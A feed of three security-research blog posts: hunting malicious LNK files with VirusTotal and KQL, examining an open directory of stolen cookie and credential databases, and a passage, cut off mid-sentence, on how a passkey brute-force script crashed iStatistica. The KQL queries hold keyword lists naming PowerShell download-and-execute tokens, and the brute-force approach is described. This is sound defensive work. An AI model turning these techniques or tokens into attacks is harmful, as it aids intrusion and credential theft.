            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Manuel Arrieta]]></dc:creator>
            <pubDate>Mon, 18 Nov 2024 13:34:52 GMT</pubDate>
            <atom:updated>2024-11-18T13:34:52.184Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKFUqETTCstd2tD43BYETA.jpeg" /></figure><p>This post will discuss methodology for leveraging the VirusTotal (VT) API to gather malicious LNK samples and subsequently tailoring analytics to hunt for observed trends. The analytics presented are for Microsoft Defender for Endpoint (MDE) using KQL.</p><h3>Introduction</h3><p>As threat hunters, we must remain proactive in our approaches to identifying anomalous activity within the environments we are tasked to protect. However, based on our particular industry, tools, telemetry, and security controls, we might not be exposed to the latest threat actor TTPs or campaigns as often as other organizations. For instance, certain defense-in-depth configurations may block malicious files at the network perimeter long before they can reach and execute on an endpoint. In these cases, we may rely more heavily on external intelligence to build our threat hunts, as it is worthwhile to investigate such files to better understand the potential threat in the event that security controls are circumvented.</p><p>Thus, that is where the VT corpus comes into play. The VT corpus provides a wealth of telemetry for files we might not encounter otherwise. If utilized practically, VT can provide a broad overview of the threat landscape beyond your organization. It can also facilitate the identification of trends in threat actor activity for building threat hunts. Therefore, this blog post will cover using the VT API for gathering malicious shortcut files, which continue to offer an effective avenue of initial access.</p><h3>Background on Shortcut Files</h3><p>As the bulk of this post will cover the command line parameters contained within the target field of shortcut files, I will not spend too much time covering the basics of the file format. An excellent write-up of shortcut files by researchers at Cybereason can be found <a href="https://www.cybereason.com/hubfs/Insights/Research/threat-analysis-purple-team-taking-shortcuts-LNK-files.pdf">here</a>. Accordingly, for the purpose of this hunt, we will focus on the following attributes of shortcut files:</p><ul><li>Shortcut files are graphical pointers to files, commands, or network resources.</li><li>The initiating process in any process tree for an LNK attack is explorer.exe.</li><li>Shortcut files are easily weaponized for initial access and are often chained with other techniques.</li><li>The Windows GUI limitation for shortcut files is 260 characters, but the entire target field supports up to 4096 characters. This distinction is important as the GUI may not be representative of a shortcut file’s capabilities.</li></ul><h3>VirusTotal API and CLI</h3><p>The VirusTotal <a href="https://docs.virustotal.com/reference/overview">API</a> offers a variety of endpoints for retrieving data from its file corpus. In addition, VT makes it trivial to obtain data using its <a href="https://github.com/VirusTotal/vt-cli">CLI</a> tool, which can be run as a standalone executable or built manually. Please note, a VirusTotal API key is needed to utilize either resource. One of the advantages of using the CLI is the ability to query the VT corpus using <a href="https://virustotal.readme.io/docs/file-search-modifiers">VT Intelligence syntax</a>. This allows us to construct precise queries to collect files in bulk. Although equivalent data can be accessed directly through the VT website, the number of samples you can view at once is limited. Likewise, only results visible on the page will available for download.</p><h3>Gathering Malicious LNK Samples</h3><p>In order to scope results for this blog post, we will focus on malicious LNK file samples which exhibit some type of network activity. That is, by querying LNK samples with network behavior, it may allow us to observe some of the latest initial access techniques for shortcut files in the wild. Using the VT CLI on our Windows host, we run the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*alCJKs-cN72xl3fV7Jq1wQ.png" /></figure><pre>vt search &quot;type:lnk have:behavior_network fs:30d+ p:15+ tag:long-command-line-arguments&quot; -i sha256,exiftool.FileTypeExtension,exiftool.TargetFileDOSName,exiftool.CommandLineArguments,exiftool.LocalBasePath - format json - limit 1000 &gt; lnk_output.json</pre><p>A breakdown of the command is as follows:</p><ul><li><strong>type:lnk</strong> — searches for LNK file extensions.</li><li><strong>have:behavior_network</strong> — files containing behavioral reports related to networks.</li><li><strong>fs:30d+</strong> — first submission datetime to VirusTotal is in the last 30 days.</li><li><strong>p:15+</strong> — file has been detected by 15 or more AV engines.</li><li><strong>tag:long-command-line-arguments </strong>— files containing the <a href="https://virustotal.readme.io/docs/intelligence-tag-list">tag literal</a> specified.</li><li><strong>-i</strong> — include only specific data from the file report. In this case, sha256, file extension, target file name, command line arguments, local path.</li><li><strong>- -format json- -limit 1000 &gt; lnk_output.json</strong> — download the first 1000 results in JSON format and output to lnk_output.json.</li></ul><p>At the time of writing, our query returned 614 samples first submitted to VT during the last month. Next, let us review a small sample of results returned by our query. Each result in lnk_output.json will contain command line arguments, file extension, target file (the process the shortcut file points to), and SHA256 hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V5xnvWArPRxJYEIpDnJAgQ.png" /><figcaption>Contents of lnk_output.json</figcaption></figure><p>If we opted to run the equivalent VT Intelligence query through the VT website, the results would appear as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g0DVTyof8eGj-FBmKIaLtg.png" /><figcaption>VT Intelligence query output for type:lnk have:behavior_network fs:30d+ p:15+ tag:long-command-line-arguments</figcaption></figure><h3>Analyzing LNK Samples</h3><p>At this point, we have a dataset comprised of 614 LNK file samples in JSON format. Our goal will be to aggregate the data and extract meaningful patterns of behavior by applying data analysis techniques. Of course, much of what we will explain can be accomplished with Splunk or similar enterprise tools. In general, this involves importing the JSON file, normalizing the data, and running queries against it. Correspondingly, the following sections will detail methodology in analyzing our dataset.</p><h4>Stack Counting</h4><p>First, we utilize stack counting to procure the most common target field referenced in our LNK samples. For example, the LNK target field is highlighted in yellow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*obmg57Yjsc17EMsbEANpTA.png" /><figcaption>Sample shortcut file containing a malicious target field</figcaption></figure><p>We accomplish our stack counting by running a PowerShell command to extract the relevant TargetFileDOSName (target field) object from lnk_output.json and count the occurrences of each:</p><pre>Get-Content lnk_output.json | ConvertFrom-Json | ForEach-Object { $_.exiftool.TargetFileDOSName } | Group-Object | Select-Object Name, Count | Sort-Object Count -Descending</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*q8wLoYXrUtkGuzTrxZujyg.png" /><figcaption>Output of the stack counting PowerShell command against lnk_output.json</figcaption></figure><p><em>Note, our PowerShell command only accounted for 597 TargetFileDOSName values instead of the initial 614 results contained with lnk_output.json. The reason is due to some results not containing a value for TargetFileDOSName.</em></p><p>Overall, stack counting allows us to visualize which initial processes are being abused by malicious shortcut file submissions in the past month. We will make a mental note of these results for now and will translate these findings into MDE analytics later in this post.</p><h4>Frequency Analysis: Preparing the Data</h4><p>Conversely, the analysis of command line parameters within our dataset will be more nuanced given the variation in applicable syntax and arguments native to each process. Moreover, recall that each target field contains command lines which can span up to 4096 characters. Hence, stack counting will not be an effective method of analysis under these circumstances. Instead, we will analyze command line arguments individually by focusing on frequency within the dataset.</p><p>As such, we start with grouping command lines by target process and parsing each command line argument by using the space character as a delimiter. For this post, I will demonstrate against the top two target processes obtained from our stack counting: Cmd.exe and PowerShell.exe. The following PowerShell script will group command lines by process, parse each command line argument, and output results for each to a text file:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c19fe2f1cb51b20930d6f5a31438c524/href">https://medium.com/media/c19fe2f1cb51b20930d6f5a31438c524/href</a></iframe><p>After running the script against lnk_output.json, Cmd.exe produced output containing 3,021 lines and PowerShell.exe yielded 1,726 lines (each line represents a command line argument). A small sample of each file is as follows:</p><p>Cmd.exe output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*UFAdcMLHacLbjXy_fvmNHA.png" /><figcaption>cmd_output.txt sample</figcaption></figure><p>PowerShell.exe output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*PLmoaVcYETiVTfKHJuzhkg.png" /><figcaption>ps_output.txt sample</figcaption></figure><h4>Frequency Analysis: Visualizations</h4><p>Once again, we will not be relying on enterprise-grade tools and will utilize free text analysis resources instead. Specifically, I found <a href="https://voyant-tools.org/">Voyant Tools</a> to be the most in-depth and user-friendly tool for this task. With the Cmd.exe and PowerShell.exe dataset uploaded to the website, we can apply a simple visualization technique which relies on frequency analysis: word clouds. In essence, word clouds and individual word frequencies help illustrate integral patterns of command line arguments that may be employed during initial access via shortcut files. To that effect, the following word clouds are comprised of the top 25 command line arguments for Cmd.exe and PowerShell.exe datasets, respectively:</p><p>Cmd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*uHqalMpo1S1yLlY-E54yCQ.png" /><figcaption>Word cloud for the top 25 terms in the Cmd.exe dataset</figcaption></figure><p>PowerShell.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*1UQLDF4c79Ufu_BGuhcz6w.png" /><figcaption>Word cloud for the top 25 terms in the PowerShell.exe dataset</figcaption></figure><p>Consequently, we can tailor MDE analytics to these observations and even emulate these techniques in our own environment to uncover potential detection gaps. Although the methodology is not perfect for capturing heavily obfuscated arguments, it still enables us to quickly formulate patterns within our dataset. Moreover, the word clouds do not provide much context on how a singular argument is utilized. In cases were interesting arguments arise, you may want to take a closer look at these results to gain relevant context for high-fidelity analytics.</p><h3>Building our Threat Hunt Analytics</h3><p>As the primary focus of our analytics will be initial access through shortcut files, we will incorporate some temporal logic for correlation. That is, analytics will target endpoints where explorer.exe creates a shortcut file, proceeded by explorer.exe spawning Cmd.exe or PowerShell.exe; however, Cmd.exe or PowerShell.exe must contain any number of command line arguments derived from frequency analysis. Finally, all of the activity must occur within a predefined time interval — in this case, we will set the value to within two minutes of shortcut file creation. To summarize, analytics will detect activity assuming the following scenario:</p><ul><li>Explorer.exe creates a shortcut file on endpoint A.</li><li>Endpoint A also happens to launch Cmd.exe or PowerShell.exe with select command line arguments. The parent process for the activity <em>must</em> be explorer.exe.</li><li>All activity occurs within 2 minutes of the initial shortcut file being created on endpoint A.</li></ul><p>Since command line arguments denoted in the word clouds are unique to Cmd.exe and PowerShell.exe, we will separate analytics on a target process basis. Therefore, our analytics for detecting potential initial access via shortcut files spawning Cmd.exe or PowerShell.exe are as follows:</p><p><strong>LNK File Creation and Suspicious Cmd.exe Activity</strong></p><pre><br>let cmd_args= dynamic ([&quot;start&quot;, &quot;cls&quot;, &quot;set&quot;, &quot;exit&quot;, &quot;hidden&quot;, &quot;iex&quot;, &quot;powershell&quot;, &quot;http&quot;, &quot;iwr&quot;, &quot;text.encoding&quot;, &quot;utf8&quot; ]); <br>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessParentFileName =~ &quot;userinit.exe&quot;<br>| where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>| where ActionType == &quot;FileCreated&quot;<br>| where FileName endswith &quot;.lnk&quot;<br>| project LNK_Creation=Timestamp, DeviceName, InitiatingProcessAccountName, FileName <br>| join kind=inner(<br>    DeviceProcessEvents<br>    | where Timestamp &gt; ago (30d)<br>    | where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>    | where FileName in~(&quot;cmd.exe&quot;)<br>    | where ProcessCommandLine has_any (cmd_args)<br>    | project ProcessCreated=Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine <br>    )<br>    on DeviceName, InitiatingProcessAccountName<br>| where ProcessCreated between ((LNK_Creation - timespan(0min)) .. (LNK_Creation + timespan(2min))) <br>| project LNK_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine</pre><p><strong>LNK File Creation and Suspicious PowerShell.exe Activity</strong></p><pre>let ps_args= dynamic ([&quot;https&quot;, &quot;hidden&quot;, &quot;windowstyle&quot;, &quot;new&quot;, &quot;echo&quot;, &quot;object&quot;, &quot;system.net.webclient&quot;, &quot;start&quot;, &quot;temp&quot;, &quot;uri&quot;, &quot;null&quot;, &quot;process&quot;, &quot;securityprotocol&quot;, &quot;net.servicepointmanager&quot;, &quot;uploads&quot;, &quot;wp&quot;, &quot;invoke&quot;, &quot;webrequest&quot; ]); <br>DeviceFileEvents<br>| where Timestamp &gt; ago (30d)<br>| where InitiatingProcessParentFileName =~ &quot;userinit.exe&quot;<br>| where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>| where ActionType == &quot;FileCreated&quot;<br>| where FileName endswith &quot;.lnk&quot;<br>| project LNK_Creation=Timestamp, DeviceName, InitiatingProcessAccountName, FileName <br>| join kind=inner(<br>    DeviceProcessEvents<br>    | where Timestamp &gt; ago (30d)<br>    | where InitiatingProcessFileName =~ &quot;explorer.exe&quot;<br>    | where FileName in~(&quot;powershell.exe&quot;)<br>    | where ProcessCommandLine has_any (ps_args)<br>    | project ProcessCreated=Timestamp, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine <br>    )<br>    on DeviceName, InitiatingProcessAccountName<br>| where ProcessCreated between ((LNK_Creation - timespan(0min)) .. (LNK_Creation + timespan(2min))) <br>| project LNK_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName, ProcessCommandLine</pre><p>Overall, these analytics should serve as a good starting point for a proactive threat hunt albeit, you may need to exclude certain command line parameters or common shortcut files depending on your environment.</p><h3><strong>Summary</strong></h3><p>In conclusion, I demonstrated how to leverage the VT API to obtain malicious LNK samples in bulk. We then analyzed the samples to extract meaningful patterns of behavior, which were then incorporated to threat hunt analytics. The methodology presented is applicable to other file types, dynamic behaviors, etc., provided you use the relevant VT intelligence query.</p><h3><strong>References</strong></h3><p><a href="https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence">https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence</a></p><p><a href="https://docs.virustotal.com/reference/overview">https://docs.virustotal.com/reference/overview</a></p><p><a href="https://github.com/VirusTotal/vt-cli">https://github.com/VirusTotal/vt-cli</a></p><p><a href="https://virustotal.readme.io/docs/file-search-modifiers">https://virustotal.readme.io/docs/file-search-modifiers</a></p><p><a href="https://voyant-tools.org/docs/#!/guide/tools">Voyant Tools Help</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*yi9d1FXHKHMnJ0gk.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=970d3799d5a5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/hunting-malicious-shortcut-lnk-files-using-the-virustotal-api-970d3799d5a5">Hunting Malicious Shortcut (.LNK) Files Using the VirusTotal API</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open for Business: How Open Directories Expose Bulletproof Hosting Operations]]></title>
            <link>https://medium.com/revolutionallabs/open-for-business-how-open-directories-expose-bulletproof-hosting-operations-ab22989c1619?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/ab22989c1619</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Joseph B]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 04:20:25 GMT</pubDate>
            <atom:updated>2024-10-04T04:20:25.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBXnO9zAXniKLOqN" /><figcaption>Photo by <a href="https://unsplash.com/@add_rien_20?utm_source=medium&amp;utm_medium=referral">Adrien</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In this post, I’ll introduce the Censys platform and explore its capabilities for providing insights into threat actor operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzaYFVEZs02qODsAJGHiKw.png" /></figure><h3>What is Censys?</h3><p><a href="https://censys.com/">Censys</a> is an advanced search engine designed for comprehensive threat research. It offers deep insights into the structure and security of internet-facing devices by leveraging large-scale scanning to collect and analyze data from exposed systems. This includes information about protocols, SSL/TLS certificates, and services. As a result, Censys has become an indispensable resource for threat hunters, security analysts, and researchers looking to understand the attack surface, uncover vulnerabilities, and monitor internet-connected assets.</p><p>The platform’s real-time visibility into exposed systems allows users to identify emerging threats and misconfigurations that could be exploited by malicious actors. It also provides powerful search capabilities and visualizations, enabling users to analyze trends across different devices, certificates, and network protocols. This level of granularity is crucial for uncovering potential risks that may not be visible through other tools, making Censys an essential component for organizations aiming to secure their networks proactively and respond to the evolving cyber threat landscape.</p><p><a href="https://censys.com/search-pricing/">Censys</a> offers a free community plan that allows a single user to perform up to 250 queries per month — sufficient to conduct the research outlined in this article.</p><p>In a recent Censys <a href="https://censys.com/a-beginners-guide-to-hunting-open-directories/">blog</a> <a href="https://censys.com/simplify-threat-investigations-identify-suspicious-open-directories-with-censys-search/">post</a>, I learned about the platform’s ability to search by Autonomous System Number (ASN) and specific labels. This led me to consider that if threat actors use common infrastructure, it could be relatively straightforward to analyze their environments.</p><h3>What is an ASN?</h3><p>An ASN is a unique identifier assigned to a network or group of IP addresses operating under a single routing policy on the internet. ASNs enable networks to exchange routing information and control traffic between each other. The ability to search an ASN by specific labels on Censys allows for more targeted investigations, making it easier to identify and analyze particular networks or infrastructure.</p><h3>What is an Open Directory?</h3><p>An open directory on the internet is a publicly accessible web server or folder without proper security controls, allowing anyone to view its contents. These directories often contain files, data, or sensitive information that were either not meant to be shared publicly or were left exposed due to misconfigured settings or insufficient access restrictions.</p><p>Previous <a href="https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65">research</a> has linked <a href="https://detect.fyi/akira-in-the-chang-way-server-ecosystem-re-vicitimization-a9011fbc6dff">several</a> bulletproof hosting providers — operating under the same ASN — to shared Ransomware as a Service (RaaS) infrastructure. Driven by curiosity, I decided to dive deeper into one such provider.</p><h3>The Hunt</h3><blockquote>autonomous_system.asn: 5XXX3 and labels: ‘open-dir’</blockquote><p>My initial query was straightforward, yielding just four results. Each result typically includes key details such as the host IP address, operating system (OS), ASN, geolocation, labels, and the corresponding ports and services.</p><figure><img alt="A partially redacted screenshot of a Censys search results, location is Moscow, Russia" src="https://cdn-images-1.medium.com/max/1024/1*vwlWCux6NYW7WIpgCKC7pA.png" /><figcaption>Censys Search Result</figcaption></figure><p>Clicking on a specific IP reveals more information about the services running on each port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8HApMWgvMc_ke7HG97Acg.png" /><figcaption>Result Details</figcaption></figure><p>Notice that each port has an associated label. In this case, we’re specifically interested in the ‘OPEN DIR’ label. Expanding the response body reveals the contents of the directory listing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLKUf_bgjBsK4lRaU8QQOA.png" /><figcaption>Open-Dir Port Discovered</figcaption></figure><p>My interest is piqued, lets dig deeper to see what we can find on this host. At this point a pivot to a <a href="https://www.torproject.org/">TOR</a> session is required to review the file contents. Using TOR provides anonymity by masking your IP address and encrypting your traffic, helping to prevent attackers from tracing your activities back to you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k64-nD9Kr-UzgtRYn_sobQ.png" /><figcaption>Directory Listing</figcaption></figure><p>Navigating deeper into the folder structure returns roughly 1100 more folders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UT-BW0kZFFOQVPxHzcz6eA.png" /><figcaption>Directory Drill Down</figcaption></figure><p>A click deeper displays an entry containing three files with the following format.</p><blockquote>dxdiag.txt</blockquote><blockquote>{SID}.cdb</blockquote><blockquote>{SID}.ldb</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THm1SoFucxTugRfwIp9oGQ.png" /><figcaption>Single Record</figcaption></figure><h4>dxdiag.exe</h4><p>According to <a href="https://support.microsoft.com/en-us/windows/open-and-run-dxdiag-exe-dad7792c-2ad5-f6cd-5a37-bf92228dfd85">Microsoft Support</a>, <em>dxdiag.exe</em> is &quot;used to collect info about devices to help troubleshoot problems with DirectX sound and video.&quot; The native tool is located at <em>C:\Windows\System32\dxdiag.exe</em>, and its output is saved as a file named <em>dxdiag.txt</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcGbe5j9aqjKWkFqKq29xQ.png" /><figcaption>ProcDot trace for dxdiag.exe</figcaption></figure><p>Examining one of these entries provides a highly detailed view of a Windows machine, including information such as the machine name, OS, build version, language, motherboard manufacturer, BIOS version, processor, memory, display devices, drivers, feature support, and connected I/O support. To see this in action, you can run the tool on your own machine; the expected output is a comprehensive report around 1,600 lines long.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMhH3g9IkxTsdvbIRaVSbA.png" /><figcaption>dxdiag.txt</figcaption></figure><h4>.cdb &amp; .ldb</h4><p>The other two files appear to be named after a Windows Security Identifier (SID), a unique value used to identify a security entity within Windows. In short, any computer, user, or group is assigned a SID for various security-related functions.</p><p>By reviewing copies of each file in a hex editor within a virtual machine (VM), I could access the file headers. Seeing the “SQLite format 3” header brought a smile to my face; generally, when this header is visible, the file’s contents are not encrypted. SQLite 3 is a self-contained, serverless, lightweight database engine that uses SQL to manage data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekJ_q_pVG4TB_AWiVwEzgQ.png" /><figcaption>File Header Review via 010 Editor</figcaption></figure><p>Next, I downloaded a free SQLite browser from sqlitebrowser.org. As anticipated, the contents were a flat file with unencrypted data. The database structure of the file ending in <em>.cdb</em> contained several tables. Based on the contents, it’s reasonable to assume that the “c” in <em>.cdb</em> stands for “Cookie.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5gQ1j7xQE_QjHvqCfrUZA.png" /><figcaption>.cdb Table View</figcaption></figure><p>From the data view we can see cookie details with timestamps to include an expiration date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CR8JvKoC2xjpEsgHNbHKIA.png" /><figcaption>.cdb cookies data</figcaption></figure><p>A closer inspection of the second database revealed even more compelling details. It’s likely that the “l” in <em>.ldb</em> stands for “Logs,” as this database focuses on capturing credentials. The structure is highly robust, and the level of detail that the threat actor aims to collect is quite surprising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9-TFrpdbtKE-PjQS58PHw.png" /><figcaption>.ldb Table View</figcaption></figure><p>From the data view of the `logins` table we can see the output from an advanced rat/keylogger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dk-2DK_WuWeJSy2Za038mA.png" /><figcaption>.ldb logins data</figcaption></figure><p>Within each entry, the <em>password_element</em> contains a BLOB, wherein lies the harvested credentials. The<em>.ldb</em> file reviewed for this example contained ten unique credentials for popular services, to include personal email, banking, school, and small business email credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mdi1HDbFBKRmqPN-sC5dbg.png" /><figcaption>BLOB from logins data</figcaption></figure><p>At this point, it’s hard to believe what I’ve stumbled upon. By my count, the server contained roughly 2,400 entries. Of the initial four servers provided by Censys, two had empty open directories. The remaining server appeared to be a backup of this entire corpus. Going forward, security practitioners should monitor for suspicious processes invoking <em>dxdiag.exe</em> directly or creating files with <em>.cdb</em> or <em>.ldb</em> extensions as indicators of compromise.</p><h4>Next Time</h4><p>I plan on scouring VirusTotal in hopes of finding a <a href="https://www.virustotal.com/gui/file/44cf4321c138c4cacecc95deba735f508c96049e7f0e8f0538684dc4f0c1e9a5/detection">sample</a> of the Trojan that generated the observed databases. Preliminary research revealed a single sample flagged as “Barys,” which communicates with the exposed endpoint. The <a href="https://know.netenrich.com/threatintel/malware/Barys">Barys</a> malware is classified as a Trojan Downloader, designed to allow its operators to download and upload files to a victim’s computer without detection. It features some interesting capabilities, such as leveraging the Dropbox online file storage service. Barys may be distributed via spam campaigns or bundled with free program installers promoted on suspicious websites.</p><h3>Summary</h3><p>In summary, I demonstrated how Censys can effectively assist with hunting and analysis. I showcased the power of searching by ASN and provided a brief introduction to hunting for open directories. As a result of my investigation, I reached out to <a href="https://attack.mitre.org/techniques/enterprise/">MITRE</a> to suggest adding <em>dxdiag.exe</em> to the following tactics: T1007 System Service Discovery, T1082 System Information Discovery, and T1120 Peripheral Device Discovery.</p><h4><strong>Disclaimer</strong></h4><p>Before engaging in similar research, I advise any threat hunter or researcher to review the U.S. Department of Justice’s report, <em>“</em><a href="https://www.justice.gov/criminal/criminal-ccips/page/file/1252341/dl"><em>Legal Considerations When Gathering Online Cyber Threat Intelligence and Purchasing Data from Illicit Sources</em></a><em>.”</em> The report emphasizes the importance of understanding and adhering to legal obligations while conducting cyber threat intelligence operations and encourages careful consideration before taking actions that could potentially support criminal activities or violate legal norms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*Xg6snpCpwDZKkiok.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab22989c1619" width="1" height="1" alt=""><hr><p><a href="https://medium.com/revolutionallabs/open-for-business-how-open-directories-expose-bulletproof-hosting-operations-ab22989c1619">Open for Business: How Open Directories Expose Bulletproof Hosting Operations</a> was originally published in <a href="https://medium.com/revolutionallabs">Revolutional Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What did you do? Discovering a DoS vulnerability by accident (iStatistica)]]></title>
            <link>https://medium.com/revolutionallabs/what-did-you-do-discovering-a-dos-vulnerability-by-accident-istatistica-3843148e665f?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/3843148e665f</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Matt “Rudy”]]></dc:creator>
            <pubDate>Wed, 21 Feb 2024 19:14:47 GMT</pubDate>
            <atom:updated>2024-02-21T19:30:52.987Z</atom:updated>
            <content:encoded><![CDATA[<h3>What did you do? Discovering a DoS vulnerability by accident (CVE*)</h3><blockquote>Me: “Its up and running. Go ahead”</blockquote><blockquote><a href="https://medium.com/u/36daf9ba3056">Khris Tolbert</a>: “Started…”</blockquote><blockquote>Me: “Ok…I’ll watch it”</blockquote><blockquote>Few Minutes later….</blockquote><blockquote>Me: “It just crashed, what did you do? Did we just crash this thing? Can we repeat it”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*4A72QyBFj7JC49TN.jpg" /><figcaption>Image speaks for itself</figcaption></figure><p>Sometimes vulnerability discoveries do actually go something like that. It’s not always black magic or days and nights of reversing some program or fuzzing an application. Sometimes you just walk right into it during normal testing. That was our case when we were working a Red Team engagement with one of our customers. We had discovered an exposed web service on a weird port. After enumerating the service we had determined that the Service was iStatistica Pro.</p><p>iStatistica Pro is described as an advanced system monitor for macOS. Think of a utility application that provides you all types of data on your running Mac. You can purchase the application for about $10 bucks from the <a href="https://apps.apple.com/us/app/istatistica/id1447778660">Mac App Store</a>. As of the writing of this blog post it was in the top 25 of paid utilities apps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jd2G-KZuUVlX45ikHH5b5Q.png" /><figcaption>Image of iStatistica from website</figcaption></figure><p>As a Red Teamer that is trying to gain access to this system on our engagement, I proceeded to see if I can get a copy of the application and set it up in a lab for testing. Lucky for me there was a trial version that could be downloaded so we could start testing it out to better understand what the software did and what we might be able to do (default password, possible misconfigurations, etc.)</p><p>One feature of the application enables remote access to a dashboard over a web interface. This feature is enabled through the GUI by toggling the “Enable Web Access” button. When initially toggled, it randomly sets the web interface port (the user can easily change this). For security, the user can specify a white list of allowed IPs or require a passkey to access the data (you must then set the passkey). Of note, there is no minimum requirements for the actual passkey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yE7qLdbnjA6Snw6e" /><figcaption>iStatistica Remote Interface Settings</figcaption></figure><p>Once enabled and a passkey is entered, the web interface requires the passkey to access the data. The authentication mechanism is simple; it checks for the cleartext passkey in a “passkey” header. An HTTP GET request is made to the <em>/api </em>URI. Nothing too fancy about it at all. With no user account required and no visible lockout policy, the first thought is Password Attack. No minimum requirement, for all we know the password could be “password”. So we crafted up a script to throw at the application in our lab and validated our assumptions.</p><p>No surprise, a simple python script that could make HTTP requests to the <em>/api</em> URI with a “passkey” header cycling through a list of passwords would work. But if you have ever worked with <a href="https://medium.com/u/36daf9ba3056">Khris Tolbert</a> when it comes to password attacks, you know he always wants more and more power, to do it faster. So <a href="https://medium.com/u/aa728a11afd9">Allen Butler</a> obliged and decided to throw in some multi-threaded options in the script and away we went.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*krIiG3BcavMPa6qF.png" /><figcaption>Always more power, right?</figcaption></figure><p>If you recall the opening dialogue in this post you can guess what happened. After running the attack and being confident the script would work, the application crashed. A little bit of investigation and we determined that the web interface would crash any time we ran the script with anything more than one 